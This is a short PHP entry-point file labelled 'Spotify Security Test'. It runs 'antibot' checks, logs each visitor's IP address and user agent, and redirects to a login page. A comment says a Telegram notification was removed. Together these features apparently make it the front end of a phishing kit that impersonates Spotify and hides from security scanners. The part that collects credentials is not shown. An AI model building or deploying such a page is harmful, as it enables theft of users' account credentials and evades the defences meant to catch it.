<?php
/**
 * Spotify Security Test - Entry Point
 * No Telegram notification version
 */

// Define app access constant
define('APP_ACCESS', true);

// Load configuration
require_once __DIR__ . '/config/config.php';
require_once __DIR__ . '/includes/functions.php';
require_once __DIR__ . '/includes/security/advanced-protection.php';

// Start session
if (session_status() === PHP_SESSION_NONE) {
    session_start();
}

// Run advanced antibot protection
$advancedProtection = new AdvancedProtection();
$advancedProtection->runAllChecks();

// Get visitor information
$ip = getClientIP();
$userAgent = getUserAgent();
$timestamp = date('Y-m-d H:i:s');

// (Notification Telegram removed)

// Log visit
logVisit('index');

// Redirect to login page
redirectTo('pages/login.php');
?>
